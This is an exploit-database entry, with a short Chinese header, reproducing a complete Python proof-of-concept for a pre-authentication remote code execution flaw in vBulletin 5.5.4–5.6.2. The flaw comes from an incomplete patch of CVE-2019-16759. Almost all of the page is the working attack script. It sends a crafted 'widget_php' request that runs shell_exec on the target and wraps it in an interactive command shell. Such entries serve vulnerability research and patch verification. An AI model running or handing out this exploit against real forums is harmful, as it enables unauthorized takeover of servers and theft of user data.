发布 2020-08-12 漏洞条目

vBulletin 5.6.2 – ‘widget_tabbedContainer_tab_panel’ Remote Code Execution

Exploit Source

# Exploit Title: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution

# Date: 2020-08-09

# Exploit Author: @zenofex

# Vendor Homepage: https://www.vbulletin.com/

# Software Link: None

# Version: 5.4.5 through 5.6.2

# Tested on: vBulletin 5.6.2 on Ubuntu 19.04

# CVE : None

# vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code

# execution vulnerability caused by incomplete patching of the previous

# "CVE-2019-16759" RCE. This logic bug allows for a single pre-auth

# request to execute PHP code on a target vBulletin forum.

#More info can be found at:

#https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

#!/usr/bin/env python3

# vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by @zenofex

import argparse

import requests

import sys

def run_exploit(vb_loc, shell_cmd):

post_data = {'subWidgets[0][template]' : 'widget_php', 'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd}

r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)

return r.text

ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')

ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')

ARGS = ap.parse_args()

while True:

try:

cmd = input("vBulletin5$ ")

print(run_exploit(ARGS.location, cmd))

except KeyboardInterrupt:

sys.exit("\nClosing shell...")

except Exception as e:

sys.exit(str(e))

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